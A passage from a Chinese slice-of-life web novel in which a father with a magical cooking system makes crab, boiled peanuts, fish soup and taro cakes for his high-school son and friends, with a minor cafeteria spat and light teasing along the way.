吃饱喝足后生起的那股满足感，简直令人身心愉悦，四个孩子收拾完碗筷仰靠在沙发上，那叫一个懒洋洋。 “楚瑾钰，你还不赶紧去写作业。” 看得出来商时贸心眼是真不大，刚刚饭桌上楚瑾钰嘲笑他怕辣，此时就要报复回来。 “刚吃完饭，你急什么。”楚瑾钰边说边偷偷去看他爸，生怕他爸开口催他写作业。 刚吃完饭，楚易文还不至于那么快催他，听见他们对话并没有什么反应，在厨房里收拾会东西就转身去书房。 他前脚走，楚瑾钰后脚就喊胡一齐他们开黑打游戏。 几局游戏结束，在商时贸的再次提醒下，楚瑾钰忍不住发出感叹：“人为什么要写作业？要是什么时候我可以吃饱了睡，睡饱了玩，那该有多好啊……” “猪也是这么想的。”商时贸笑着道。 “你才是猪。” 感叹归感叹，作业还得继续做，写作业的日子，时间好像都变得漫长起来，然而再漫长的日子也始终有尽头。 开学前两天，楚瑾钰终于写完暑假作业，跟叶其林他们一起疯玩两天后，感觉还没玩爽，马上就又要进入上学模式。 新学期开始，他们从高二变成高三，与此同时，学校里走了批毕业生，又来了批高一新生。 升高三时还没太大感觉，但在看到高一新生穿迷彩服在操场上军训的画面时，楚瑾钰却是忽然发出时间过得真快的感叹。 “是啊，转眼咱们都成高三学长了，等到明天六月份就要毕业。”叶其林附和道。 胡一齐没他们那么多感叹，催促道：“赶紧走啊，楚爸说不定都在门口等着了。” 他说完撒腿就跑，速度那叫一个快。 “楚爸，今天吃什么？” “有你最喜欢的红烧排骨。”楚易文边说边笑着将袋子递过去。 楚瑾钰走近听到他们对话，忍不住道：“不知道的还以为你们才是亲父子。” “也有你爱吃的薯粉团。”楚易文立刻补充。 叶其林立刻跟着凑热闹：“那我呢？” “还有你们都爱吃的香辣蟹，今天买的都是母蟹，蟹黄特别饱满。”楚易文指着单独用袋子装的一大盒香辣蟹。 听到有香辣蟹吃，几个孩子眼睛瞬间就亮起来，感觉隔着袋子都闻见香辣蟹特有的香辣咸鲜味。 “楚爸我爱死你了！”胡一齐听到今天中午又有红烧排骨又有暑粉团还有香辣蟹，简直兴奋得不行。 楚易文哪受得了这个，摆手道：“别肉麻了，快去吃饭吧。” 九月份天气还有点热，午餐他没用保温桶，直接拿一次性餐盒装，这样吃完就能直接扔，倒是省事不少。 “爸我也爱死你~”见他爸受不了这个，楚瑾钰故意模仿胡一齐的语气说。 胡一齐：“楚爸爱你哟~” 两个人一起耍宝，令楚易文又无奈又好笑，只能开口威胁：“别闹，再这样我下午给你们做苦瓜大餐。” 他话落，商时贸笑着说：“我不介意吃苦瓜，反正楚爸你做的苦瓜也很好吃。” 有一道苦瓜菜楚瑾钰还能接受，要让他整顿饭全吃苦瓜，他可受不了，瞬间就闭嘴。 等他们拎着午餐进入食堂时，操场上大一新生终于结束上午的军训，一个个像饿死鬼一样冲进食堂。 “太可怜了……” 胡一齐望着跑进来排队的新生们，边打开餐盒边感叹。 “切，有什么可怜的，我们当初还不是这么过来的。”楚瑾钰说完顾不上打开米饭，在香辣蟹的鲜味扑鼻而来时，直接拿起只蟹就开吃。 今天这香辣蟹个头特别大，一只估计有二三两，对着切口咬上去时，薄薄的淀粉下，满满都是蟹黄。 “唔，好鲜，好好吃啊！” 楚瑾钰咀嚼着绵软中带着微微沙感的蟹黄，眼睛里透出吃到美味的满足光芒。 “这个蟹真大！”叶其林伸手对着餐盒里螃蟹比了下大小，感觉用筷子夹都不方便，直接上手。 香辣蟹表面裹满料汁，楚易文亲自动手炒出来的料，比现成的火锅料可要香得多，那复合香味混着辣椒香，配上螃蟹本身的鲜味，好吃到连蟹壳他们都要多咬几口才舍得吐出来。 商时贸见楚爸还特意给自己做了没那么辣的香辣蟹，心里比大夏天喝了冰水还爽快，吃螃蟹时连一丝蟹肉都舍不得浪费。 “唔，感觉香辣蟹里面的蒜吃起来都好美味。”胡一齐咀嚼着软糯的蒜瓣，眼睛瞬间亮起来。 蒜本来是为螃蟹去腥提味，但此时吸收汤汁，吃起来绵软中带着蟹鲜和香辣气息，有种越吃越香的感觉。 他们四人围在桌前吃香辣蟹倒是吃爽了，香味飘出去，可是把周围学生们馋得不行。 “好馋啊，下午我们出去吃吧，我记得学校门口有家卖香辣蟹的。” “行。” 被馋到的学生有些就着香味催眠自己继续吃午餐，有些却是讨论起来，决定晚饭也要出去吃螃蟹解馋。 很快，随着香味在食堂里蔓延开来，原本饿得不行，只想赶紧吃饭的大一新生们望着手里刚打到的饭菜，却是瞬间觉得不香了。 “你们这菜是在哪买的？” 有新生直接走到叶其林他们面前询问，楚瑾钰头也不抬道：“家里人做的。” 其实这个新生问话的语气有点不礼貌，只是楚瑾钰沉浸在香辣蟹的美味中没注意，不然绝对不会搭理他。 本来楚瑾钰都告诉他不是买的，得到答案他就该离开，结果他竟然理直气壮道：“做得还挺香，给我吃几个。” 他不光说，甚至直接就朝香辣蟹伸手，在即将碰到螃蟹时，被胡一齐一巴掌打在手上。 “你有毛病吗？你爸没教你在外面别乱伸手吗？”胡一齐本来就护食，见不知道从哪冒出来个人就要抢螃蟹吃，反应很强烈。 楚瑾钰没想到竟然有人敢抢到他们头上来，更是直接被气笑了。 “不就几个臭螃蟹，我想吃是给你们面子，你们也不打听打听我是谁。”新生捂着手背生气道。 人在无语时是真的会笑，楚瑾钰他们先后笑出声来，随即同时起身：“你哪个班的？” 他们确实很久没在学校里惹事，但可不代表他们怕事，耍横耍到他们面前，几人现在都不觉得生气，反而感觉很好笑。 本来还挺嚣张的新生看到四人站起身后个个都比自己高，比自己壮，尤其是胡一齐，那手臂粗的，心里终于有点后悔。 这人一看就是之前在初中时嚣张惯了，到高中还以为自己很了不起，此时发现好像踢到铁板，瞬间就怂了。 “我干嘛要告诉你们，切，吃不起食堂才会要家里人送饭，一群穷鬼。” 他明明心里已经怂了，偏偏还要嘴硬地嘲讽两句才转身离开。 楚瑾钰四人用看垃圾的眼神望着他离开，并没有去追，毕竟这种家伙还不配他们浪费吃饭时间。 “真是林子大了什么鸟都有。”胡一齐吐槽完，坐下来继续吃饭。 他牙口是真好，吃起香辣蟹来，全程都是嘎嘣嘎嘣地咬，不管是蟹身、蟹腿还是蟹钳，进他嘴里都是肉被啃干净，壳被吐出来。 “靠，你吃慢点。” 楚瑾钰看到他吃螃蟹的速度，感觉很无语。 香辣蟹被全部干光，他们终于有时间吃其他菜，一口米饭，一口肉质酥烂的红烧排骨，简直不要太享受。 “那个螃蟹汤可以给我点吗？” 有同班同学买完凉面路过，直接看上他们桌上的香辣蟹汤汁。 “不嫌弃的话你自己倒。”楚瑾钰对同班同学倒是挺大方，还顺便让他夹了两块排骨。 “唔，还是叔叔手艺好，食堂做的这个凉面汤汁一点都不香，这个螃蟹汤浇上来，瞬间就变好吃了！” 螃蟹的精华多多少少有些融进汤汁中，用来拌面吃当然香。 看到同学手里的蟹汤拌面，胡一齐有被馋到，直接握着筷子蹭了一口：“味道还行，就是这个面没楚爸做的手擀面好吃。” 由于香辣蟹吃起来有点费时间，今天他们午餐吃得比较慢，终于吃完时，食堂里人已经不多。 吃饱喝足，胡一齐终于有工夫算账：“刚刚那小子怎么说？晚上放学后校门口蹲一波，拉到巷子里揍一顿？” “别吧……” 叶其林话还没说完，胡一齐就看向他：“怎么，难道你怂了？” “滚，你才怂，我是怕楚爸知道会生气。”叶其林没好气道。 可能是吃人嘴软，哪怕打人被他亲爸亲妈知道他都无所谓，但想到楚爸生气，他还真有点怕。 胡一齐听到这个，立刻道：“那还是算了，万一让楚爸知道，一生气不给我们做饭就完蛋了。” 吃惯楚爸的手艺后，现在别说食堂，就连外卖他都不爱吃，都不敢想要是楚爸不做饭了他该有多难受。 楚瑾钰听到他们这么说，想到他爸还指望他考大学，觉得如果打人被抓到，记个大过确实不划算。 楚瑾钰：“那难道就这么算了？” “谁说教训人只能动手，用用脑子一样能让他尝到苦头。”商时贸道。 楚瑾钰闻言，立刻看向他：“你是说花钱请人教训他？” “都说让你动动脑子，花钱揍人情况可能更严重，万一动手的人没轻没重，说不定就成买凶伤人了。”商时贸无语地扫他一眼，随即道，“就这小子的德行，一看就不是什么好学生，我们不打他，也不骂他，就找人盯着他，只要他犯错就帮他闹大……” 至于说找谁盯着他，以他们在学校里的关系，那简直是小菜一碟。 既然不用在校门口蹲人，下晚自习后楚瑾钰就正常回家。 回家后，他一时嘴快，却是不小心将午餐的事情说出来，惹得楚易文瞬间看过来：“你们该不会打人了吧？” 不怪楚易文这么想，主要自家儿子他还不了解，就不是能受气的，别人惹到头上来，根本不可能忍。 “没有，那小子跑得快，我们忙着吃饭哪有空打他，再说万一把桌上菜打掉了多可惜。”楚瑾钰有点后悔自己嘴快，但说都说了，也没办法。 楚易文继续盯着他看：“那你们吃完饭后没去找他？” “没有，我们又不知道他哪个班的。”楚瑾钰说完见他还看着自己，只能半真半假道，“哎呀爸你放心吧，本来胡一齐是说要揍他，后面我们不是想着你知道了会生气，怕你不给做饭，就放弃了。” 楚易文闻言这才放下心来，开口道：“你们别打架就行，要是知道他哪个班的，可以跟我说，我帮你找他班上老师去，或者找他家长也行，问问他家长是怎么教孩子的。” “好，我知道了。” 这事压根不用楚易文出马，第二天楚瑾钰他们班上体育课，在自由活动时间，四人直接就找到那家伙班级，先是当着全班人面喝冰可乐，吃冰棒，随即专门挑那家伙的毛病。 “啧啧啧，一个大男人，军姿站得还没有女生直。” “教官我举报，第二排第三个在偷懒，手没贴裤缝。” “哎呦，怎么会有人左右都不分，笑死人……” 被嘲讽的新生气得脸都红了，然而他越生气就越容易出错，哪怕后面教官将楚瑾钰几人赶走，他还是没缓过来，总感觉所有人都会都在看他笑话。 他有多生气，楚瑾钰四人就有多爽，嘻嘻哈哈跑到树荫下坐着，继续美滋滋吃冰棒。 与此同时，楚家，楚易文正在家里做水煮花生。 现在正是花生上市的季节，早上他去码头菜市场买菜时，好多菜农都挑着鲜花生过来卖。正是由于卖花生的人多，导致好多花生都没人买。 楚易文想到这么重的花生要是再挑回去那得多累人，特意在码头菜市场多等了会，将没卖出去的花生都买下来。 鲜花生拿来水煮最香，收到食谱在系统厨房练练手后他直接开始煮花生。 码头菜市场的老人卖菜都很实诚，鲜花生上泥巴已经提前处理过，回家只要再泡会水，就能清洗干净。洗好的花生用盐水先泡着，这样待会煮出来会更加入味。 花生泡好，接下来就可以煮，楚易文将盐、姜片、八角、桂皮、香叶、干辣椒、花椒下锅，水漫过花生，大火先烧开，随即转小火慢慢焖煮。 刚挖出来的鲜花生其实加点盐直接煮就很好吃，所以八角、桂皮这些他没放很多，只加了一点点增鲜去土腥味。 随着小火慢煮，花生特有的清香开始飘出来，配上香料的复合香气，闻起来别提多诱人。在水煮花生的香气中，楚易文开始做午餐。 午餐做好，楚易文将饭菜打包好，随即又用保鲜袋将满满一大锅水煮花生分几袋装好。 开车从小区出去时，他顺手将一袋水煮花生送给门卫。 门卫接过花生笑着道：“我就说刚刚好像闻见谁家在煮花生，今天真是有口福了。” 小区门卫很负责任，楚易文对他观感很不错，跟他闲聊两句才继续开车去学校。 到学校门口时，有人笑着跟他打招呼，问他今天又给孩子送什么好吃的。 如今楚易文在学校还挺有名，不光学校好多老师都认识他，就连家长们都知道他。之所以会如此，并不光是因为去年六一，还因为好多学生回家时都会说楚瑾钰爸爸做菜多么好吃，楚瑾钰爸爸天天给他送饭。 妈妈们还好，她们能和孩子一起吐槽，说你看看人家老公。但对爸爸们来说，楚易文的存在就有点不太友好，毕竟同样是当爸的，大家都懒得好好的，你偏偏那么勤快，以至于他们都被孩子和妻子嫌弃。 楚易文并不知道很多爸爸对他的怨念，知道他也不在意，顺手给学校门卫也送了袋水煮花生后，直接坐在门卫室里等几个孩子过来。 “你这水煮花生煮得真好吃，比外面买的还香。”门卫吃着粉糯中带着脆爽的花生，越吃越喜欢。 水煮花生并不是煮的时间越长越好吃，那种花生完全煮熟，但口感中还带着点爽脆和韧性的滋味才最香。 完全煮入味的花生壳里都带着微微水分，咬下去时咸鲜适中。咀嚼间花生本身带着油脂感的醇香和咸味完美融合，同时香料恰到好处的辛香和辣味浮现出来，吃起来简直令人上瘾。 楚瑾钰他们来到校门口时，很快就闻见从门卫室飘出来的花生香，看到门卫在吃花生，瞬间都有点馋。 在得知是楚易文做的水煮花生后，他们特别惊喜：“哇，今天竟然还有水煮花生吃！” “煮了好多，吃不完你们可以和同学分一下。”楚易文将午餐和水煮花生分别递给他们。 胡一齐也不管那袋水煮花生有多少，接过来道：“闻着就很香，肯定吃得完。” “楚爸辛苦了。”叶其林则是边接过饭菜边说。 第63章 蛋黄芋头饼 水煮花生的香味不霸道, 但那股带着花生特有坚果香的咸鲜味萦绕在鼻间时，却特别诱惑人。 胡一齐边走边忍不住伸手从袋子里抓花生吃，整个花生连壳一起塞嘴里, 轻轻一咬，先是咸鲜的汤水在味蕾上弥漫开来，随即花生米落出来，轻轻一嚼，粉糯中带着脆爽，简直越吃越香。 好吃！ 他吃得有点停不下来，吐出花生壳立刻又往嘴里塞进去一个, 享受着水煮花生的美味。花生的土腥味被完全去除，此时吃起来咸香爽口中带着淡淡辣味，回味特别悠长。 看到他吃得那么香, 楚瑾钰三人没忍住，纷纷伸手去抓花生。 “好嫩好脆的花生，真好吃！”刚吃一个花生, 叶其林就忍不住夸起来，显然有被水煮花生的味道惊艳到。 他以前几乎没吃过这种带壳煮的花生, 吃的多是香脆的花生米，此时尝到新鲜花生的脆嫩，感觉自己以前简直错过一百亿。 “我奶奶以前也做过水煮花生，我爸这手艺, 估计是跟奶奶学的。”楚瑾钰吃着整体味道质朴纯粹的水煮花生，想起了奶奶的味道。 其实真要论起来，奶奶煮花生会更加随意，没有像楚易文这样，连香料比例、火候都要求的那么精准, 但记忆美化了奶奶做的花生，让楚瑾钰觉得，奶奶做的跟手里现在吃的一样美味。 商时贸：“很好吃，感觉吃起来有点上瘾。” 确实，四人都已经走到食堂，按说该开始吃饭，但他们却还在吃着水煮花生，感觉有点停不下来。 提前用盐水泡过的花生特别入味，那抹咸味激发出食材全部的香味，同时恰到好处的香料和干辣椒带来的辣味，让整道水煮花生紧紧抓住每个人的味蕾，在他们心里想停下时，手却停不下来。 “最后吃一把就吃饭！” 楚瑾钰话落，其他三人纷纷点头，纷纷抓了一大把花生在手里或剥或咬地吃着。 手里那把花生吃完，他们还有些意犹未尽，好在楚易文做的午餐同样有吸引力，否则今天这午餐怕是不知道什么时候才能吃上。 吃饭的过程中，胡一齐还忍不住时不时来几颗花生，他特别喜欢那种壳里汁水多的花生，享受咬开那瞬间汁水在嘴里迸裂开来的感觉。 跟他比起来，楚瑾钰喜欢吃那种没完全长成，吃起来特别脆嫩的花生，那种花生连壳都是嫩的，咬下去汁水四溢，里面花生特别小，其实没什么吃头，但他就喜欢吃。 跟他们俩比起来，叶其林喜欢饱满的花生，尤其爱那种四五粒花生米一个的大花生，感觉四五粒花生同时吃起来会更香。 楚易文总怕他们吃不饱，每顿饭都准备得特别丰盛，午餐结束后，四人都吃得有点撑，但偏偏嘴巴还是停不下来，时不时要来个花生。 “好撑啊……” 胡一齐边喊撑，边还在吃花生，楚瑾钰都有点无语，未免他撑死，直接把装花生的袋子接到自己手里。 袋子里花生是真不少，他们从学校门口吃到食堂，再从食堂吃到教室，还有好多。 现在天气还有点热，楚瑾钰不确定水煮花生能在常温下放多久，想到他爸喊他跟同学分享，进教室后把袋子放桌上直接喊：“我爸做的水煮花生，要吃自己过来抓。” 他话落，教室里坐着的同学瞬间都动起来。 “好香啊！” “叔叔做的水煮花生真好吃！” “好久没吃水煮花生了，真好吃~” “谢谢~” 同学们你一把，我一把，袋子里花生瞬间就被消耗掉一半，楚瑾钰眼见花生越来越少，倒没有舍不得，只是想到自己同桌还没吃，直接拿张没用的卷子垫在底下，抓了好几把花生放到他桌上。 “好香啊，你们在吃什么？” 刚回教室的同学在门口就闻见香味，得知是楚瑾钰带的水煮花生，立刻笑嘻嘻凑过去抓花生吃。 水煮花生抓在手里有些湿润，剥开壳，里面花生米是淡粉色，花生衣带着汤汁感，看着就很诱人。吃进嘴里，咸鲜可口中带着淡淡辣味，越嚼越香，越吃越过瘾。 等到邵言易过来时，整个教室都弥漫着水煮花生特有的香味，浓郁的咸鲜气息混着花生天然的坚果清香，再夹杂着香料的复合气息，香气特别诱人。 他走到位置旁时看到桌面上满满一堆花生，立刻猜到是同桌给的，说了声谢谢后顺手递过去一个桃子。 楚瑾钰没跟他客气，接过桃子直接就咬上去，发现还挺脆甜，随口问：“哪来的桃子？还挺好吃。” 他比较爱吃脆桃，但外面卖的好多都是软桃，不是很符合他口味。 “邻居送的。”邵言易见他吃了桃，拿袋子将桌上花生装起来，顺手尝了一个，结果一吃就停不下来。 人多力量大，看起来很多的水煮花生，全班人一起吃，很快就解决完。 下午第二节课后，感觉午餐已经消化得差不多的胡一齐又嘴馋起来：“我还想吃水煮花生，感觉根本没吃够……” “你个吃货，只要是好吃的，你吃多少都不够。”楚瑾钰笑着打趣。 胡一齐：“不知道楚爸下午还会不会送水煮花生过来。” “想什么美事呢？中午已经送了那么多，楚爸怎么可能下午还送。”叶其林道。 一般情况下楚易文确实不会送，但今天他把码头菜市场老人们卖不出去的花生全给包圆了，新鲜花生就得趁新鲜才好吃，所以他下午还真又拎了一袋过来。 “楚爸你太好了！”胡一齐看到水煮花生那叫一个惊喜，还转头用得意的表情望着叶其林。 叶其林：“你还不会下午偷偷给楚爸发消息了吧？” “我才没有……” 楚易文听到他们的对话，笑着道：“今天买的花生比较多，想着趁新鲜煮会更好吃，就多做了点。” “根本不多，爸你是不知道，我把水煮花生拎到教室里去，十分钟不到，一大袋直接被抢光。”楚瑾钰描述着中午同学们抢花生的场景。 “你们喜欢吃就好。” 今天实在是美好的一天，菜农们的花生全部卖出去，楚瑾钰跟班上同学们更是享受到水煮花生的美味。美食带来的好心情，让每个人直到晚自习时脸上都还带着淡淡笑意。 * 新学期第一周结束，周末时楚瑾钰躺在沙发上，整个人都有些无神。 “怎么了这是？”楚易文见他刚起床就那么没精神，以为是没睡够，“还困的话就回房间睡会去。” “不能睡，就这么点假，再睡眼睛一闭一睁，明天又要上学了！”楚瑾钰声音里透着怨念。 楚易文一听就明白过来，他是不适应高三变成单休。 “好歹还有一天假，熬过这一年你就解放了。” 楚瑾钰听到这话并没有感觉到安慰，声音里幽怨更加明显：“单休就算了，就一天假还布置那么多作业，还不如不放假……” 真不放假你又不乐意了。 楚易文心里想着，嘴里则是继续安慰了他几句。 午餐结束，楚瑾钰不敢继续拖，怕真写不完作业，难得不用楚易文催就自己去拿书包。 高三都是这么过来的，楚易文在旁边看了会他写作业，随即就轻手轻脚从家里出去，决定趁着现在天气没那么热，钓几条鱼回来给儿子补补。 有些日子没出来钓鱼，他还挺怀念，坐在河边将鱼竿抛出去，感受着从河面吹过来的风，那叫一个惬意。 “喵~” 他刚在河边坐没多久，就有猫走过来，在他身边打转。 楚易文低头见是之前投喂过的橘猫，顺手将它抱到腿上，边撸猫边钓鱼：“别急，待会上鱼了就给你吃。” 他今天运气不好不坏，鱼倒是钓到不少，可惜都是小鲫鱼，一部分投喂给猫吃，一部分带回家。 等他到家时太阳已经落山，看到儿子还坐在桌前，他忍不住道：“还没写完？” “没，还有一张卷子。” “那快了，吃完饭再写也来得及。”楚易文说完直接进厨房做饭去。 要真等到晚饭后再写那张卷子，楚瑾钰感觉自己今天是真一下都没玩到，因此哪怕很不想做，还是继续握着笔写题。 鲫鱼刺多，楚易文干脆先将鱼煎得两面金黄，再加水进去煮，本就不大的鲫鱼很快就被煮烂，他用滤网过一遍，将鱼刺滤出来丢掉，用煮成奶白色的鱼汤加豆腐继续煮。 先煎再煮的鱼汤那叫一个鲜，直接把小区里的猫都给馋过来，楚易文听见院子里的喵喵叫声，干脆将鱼肉加点鱼汤装在一次性碗里送出去。 鲜美的鱼汤让几只猫被馋得都顾不上怕人，碗刚放到地上就直接凑过来吃。 楚易文站在旁边看两眼，随即就回屋里继续准备晚餐。 除了鲫鱼豆腐汤，今晚还有栗子烧鸡、虾仁炒蛋、豆芽胡萝卜丝炒麻花。父子二人吃三菜一汤，而且有鱼有肉有虾，已经很丰盛。 楚瑾钰原本写一天作业的郁闷心情，在看到桌上色香味俱全的菜时，心情都变好几分。 想到下午叶其林比他先写完作业在群里炫耀，他直接拍张照片发到群里。叶其林还没说什么，胡一齐先被炸出来—— 【你们太过分了，我还有两张卷子没写完已经够痛苦，现在还要馋我！啊啊啊啊！我也想吃栗子烧鸡！】 见波及到胡一齐这条池鱼，楚瑾钰完全没有不好意思，在群里发条消息表示自己要吃完后就放下手机。 别说，看到胡一齐比他还惨，楚瑾钰望着面前香喷喷的晚餐，再想到只剩几道题的卷子，脸上终于露出今天第一个笑。 “爸你去钓鱼了？” “对，钓到几条小鲫鱼，我把刺都滤掉了，汤可以直接喝。” 提前腌制过的鱼腥味早就被去除，煮烂过后不少鱼肉都融进汤里，此时汤喝起来那叫一个鲜。 楚瑾钰喝两口鲫鱼豆腐汤，鲜得轻晃脑袋，感觉眉毛都要被鲜下来。喝完鱼汤开胃，他筷子伸向豆芽胡萝卜丝炒麻花，蔬菜的脆嫩和麻花的香脆融合在一起，配上恰到好处的醋香，简直不要太美味。 “麻花这么炒也挺好吃，是和撒子不同的香脆。” 楚易文点头：“撒子比较细，炸得会更透些，吃起来更酥脆，麻花厚实，偏香脆。” 这道菜还是他看粉丝做过，感觉不错，所以反向学习。 用麻花代替撒子，做法更加简单，出锅可以不用那么急切，麻花表面微微吸收汤汁，吃起来更加咸香，同时汤汁的湿润感让它吃起来没那么干，大口吃也不会噎人。 楚瑾钰还挺喜欢麻花炒进菜里的感觉，连吃两口才换下一道菜。 虾仁炒蛋和鲫鱼豆腐汤比起来又是另一种鲜美，活虾现剥出来的虾仁紧实弹牙，和鸡蛋搭配在一起，越吃越鲜。 晚餐结束，在美食的安抚下，楚瑾钰原本写作业产生的小烦躁都被安抚下去，甚至能在饭后立刻心平气和地继续去做剩下那几道题。 “终于做完了！” 写完最后那道题，他把笔往桌子上一拍，简直不要太高兴。 “来，吃点水果。”楚易文听到他终于做完作业，端着果盘放到他面前。 本来做作业时，楚瑾钰还想着写完要打游戏，但真等做完，他忽然又不是很想打，于是吃着水果跟他爸一起边看电视边闲聊。 “这才上学期，教室里已经被班主任挂上高考倒计时的牌子，真是服了……” 楚瑾钰吐槽完忽然转头：“爸，我要是高考没考好怎么办？” 进入高三后，哪怕他心再大，也感觉到和高一高二时的不同，那种高考的紧迫感从开学时就已经逐渐产生。 “尽力而为就好。”楚易文说完补充道，“实在不行就回家当包租公，反正家里别的不多，就房子和商铺多。” 他不想给儿子太大压力，毕竟他当初努力赚钱，不就是为了让家里人过上更好的生活。如今他哪怕已经离开公司，但家里以前积累下来的固定资产，依旧让他有给儿子托底的底气。 “我们家还有商铺？”楚瑾钰倒是知道他们家有好多套房子，光他去过的就有三套，但还是今天才知道还有商铺。 “几个商圈内都有我们家的商铺，另外在你们学校旁边还有两个铺子。”楚易文道。 楚瑾钰闻言眼睛瞬间就亮起来：“那我不是可以直接躺平了？” 楚易文：“……” 他说这些是不想给儿子压力，但也没让儿子直接躺平，一时有些无语。 “现在实体经济越来越不景气，你们学校附近有个铺子下个月就要退租，你要是想躺平，万一以后收不到租金，那就跟我回老家种地去，好歹饿不死。” 目前实体生意确实越来越不好做，楚易文倒是没有故意吓唬他。 老家风景不错，偶尔去住几天楚瑾钰还挺愿意，但如果让他回去定居，光是卡得要死的网络问题都让他能猛摇头。 “好吧，那我还是努力一下，争取像爸你一样，在四十岁过上退休生活。”楚瑾钰叹气道。 他说完忽然想起什么：“对了，下午门卫送了个快递过来，爸你买什么了？” “我最近没在网上买东西。”楚易文说完起身走到门口，发现那个快递还挺有分量。 确定收件地址没错，他干脆直接将快递打开，结果发现里面竟然全是芋头。 “爸你是不是在网上买了芋头自己搞忘了。”楚瑾钰看到箱子里的芋头道。 楚易文没说话，直接在箱子上寻找到快递单，查看寄件地址：“桐县……桐县会是谁寄过来的芋头？我也没跟谁说过家里地址啊？” 他正疑惑时，楚瑾钰听到桐县忽然想起什么。 “我知道了，可能是张望乙那家伙寄过来的，他之前说等家里芋头成熟了要寄给我尝尝，我还以为他只是说说。” 张望乙是楚瑾钰在桐县认识的一个六年级学生，最开始他不想带小学生玩，但某天看到有人欺负他时没忍住替他出头，最终这家伙就一直死跟在他屁股后面跑。 楚易文对这个在桐县是像自家儿子小尾巴的孩子有印象，他记得张望乙家条件不好，想到这么多芋头寄过来快递费怕是不便宜，忍不住微微皱眉。 快递单上没有详细寄件地址，他于是问儿子：“他家地址你应该也知道吧？等过两天我们寄点东西过去当回礼。” 他说话的同时，系统声忽然响起【叮~获取食材芋头，奖励食谱芋头饼、蛋黄芋头饼。】 “知道，我去过他家。”楚瑾钰说完又道，“爸，可以把我之前用的旧手机给他吗？” “可以。” 箱子里的芋头明显都是精心挑选出来，就冲能让系统有反应就知道品质很好。他们离开桐县已经有一个多月，那孩子竟然在芋头成熟后还记得寄过来，可谓是千里送鹅毛，礼轻情意重。 得到同意，楚瑾钰立刻回房间去找旧手机，说是旧手机，其实还能用，只是里面乱七八糟软件下了好多，导致用起来没新机那么流畅。 翻出手机后，他又在房间里转悠起来，找出许多全新未开封的玩具，还有初中时的练习册课外书本之类，直接装出满满一大袋。 把要送人的东西整理好，他又在楚易文的提醒下，给张望乙写了封信，说芋头收到了，让他别再寄东西过来，以后用手机线上联系。 楚易文将儿子从房间拿出来的那袋东西放好，准备明天再准备点本地特产，做点牛肉干、虾干一起寄过去。 芋头是人家的心意，不快点吃掉，万一放坏就很可惜。于是等晚上躺到床上时，楚易文立刻就进入系统厨房开始学习。 他按照老爷子教的先将芋头蒸熟碾压成泥，随即用面粉、糯米粉加芋泥、白糖等食材一起揉成团，按压成饼后开始用油煎。 芋头饼煎好以后两面金黄，散发出芋头特有的清香，闻着就令人食欲大开。 学完芋头饼做法后，楚易文原本以为蛋黄芋头饼就是在刚刚的基础上加个咸蛋黄进去，没想到跟自己想的完全不同。 蛋黄芋头饼直接换了种做法，芋头蒸煮成泥，楚易文往里面加少许糖、猪油、糯米粉揉成团后，包上处理过的咸蛋黄，再拿两块早餐饼干夹住，裹上层芝麻，往面糊中滚一圈后就可以开始油炸。 蛋黄芋头饼做法看起来简单，实际上想要好吃，芋泥的干湿度，油温都很重要。他最前面炸出来那几个看得老爷子直摇头，显然不太满意。 在系统厨房里学了不知道多久，次日天还没亮，楚易文就起床迫不及待去厨房做芋头饼。 家里没有做芋头饼的那种饼干，他直接用积分在系统里换了些饼干和咸蛋黄出来。 食材准备好，他将昨天快递里的芋头拿出来洗干净，戴上手套去皮切块，防止芋头黏液导致手痒。 蒸芋头时他也没闲着，将咸蛋黄进行去腥处理，等芋泥蒸出来，他揉出一半做香煎芋头饼，一半拿来做蛋黄芋头饼。 经过昨晚的学习，楚易文现在已经能很快速地用两片饼干包裹出完美的蛋黄芋头饼。 芋头饼全部做好，他同时开两个锅，一个锅来煎，一个锅来炸，当芋头饼下锅时，油炸特有的香味闻起来别提多诱人。 “爸，你在做什么好吃的？” 楚瑾钰刚打开房门就闻见一股特别诱人的香味，轻嗅着走出来。 楚易文头也不回道：“用昨晚收到的芋头做了点芋头饼，来不及打豆浆了，你待会拿几瓶牛奶去学校。” 他话落，楚瑾钰已经来到厨房，望着盘子里刚从油锅里捞出来金灿灿的蛋黄芋头饼，看卖相就感觉特别酥脆，直接伸手就拿起块，被烫到才赶紧换筷子去夹。 “好香啊！”他边说边吹着气咬上去，牙齿上下一碰发出清脆的“咔嚓”声，咬开外面那层脆壳后，露出里面软糯的芋头和夹在其中的蛋黄。 第64章 芋头烧排骨 刚炸出来的蛋黄芋头饼外酥里软, 咀嚼间外壳的酥脆与内里芋泥的软糯形成鲜明对比，同时蛋黄的沙糯油润、咸鲜细腻在味蕾上蔓延开，好吃到楚瑾钰嘴巴根本停不下来。 芋泥中没放太多糖, 微微甜味和蛋黄的咸达成完美平衡，绵密顺滑的芋泥在舌间化开，食材特有的清香令人回味无穷。 由于芋泥湿度把握得特别好，整个蛋黄芋头饼吃完楚瑾钰都不觉得干，带着意犹未尽又拿起个香煎芋头饼。 煎出来的芋头饼焦香味更浓郁，咀嚼间满满都是芋头香，恰到好处的甜味配上煎制的焦香, 明明味道并不浓烈，却吃得人有些上瘾。 楚瑾钰站在灶台边开吃时，楚易文拿出牛皮纸盒将芋头饼装进去, 盒口保持敞开，免得产生水蒸气将表面的酥脆焖软。 等到楚瑾钰吃饱喝足，拎着芋头饼去学校时, 他一路走，香味一路馋人。 “你好, 请问你手里是什么？在哪买的？” 路上有吃货忍不住上前询问，得知是他爸做的芋头饼，只能带着几分馋意搜索附近卖芋头饼的店铺。 楚瑾钰到教室时，胡一齐他们还没来, 本来已经吃饱的他嘴巴又有点馋，于是又拿起个芋头饼吃起来，边吃边还不忘和同桌分享。 “谢谢。” 自从暑假那次奶奶受到他们帮助后，邵言易在学校里跟楚瑾钰关系明显更加好，对于他分享的食物已经不太会拒绝。当然, 与此同时，邵言易会主动教他做题，偶尔也会给他带点奶奶做的吃食。 “楚瑾钰，你吃独食！” 胡一齐刚进教室就看到楚瑾钰在大口吃芋头饼，立刻跑过来。 楚瑾钰白他一眼：“你自己不早点来，还怪我吃独食，我就应该全吃完一个不给你留。” 芋头饼香味实在太诱人，胡一齐顾不上跟他拌嘴，赶紧伸手拿起一个就往嘴里塞。 由于距离不远，加上盒子是敞开着，芋头饼此时依旧保持着香脆的口感，咬下去时那叫一个香。 芋头饼属于常见小吃，胡一齐以前也吃过，但外面卖的芋头饼他都是吃一个就感觉腻，基本上很少买。而此时，他三下五除二解决整个蛋黄芋头饼，完全没感觉到腻，只感觉香。 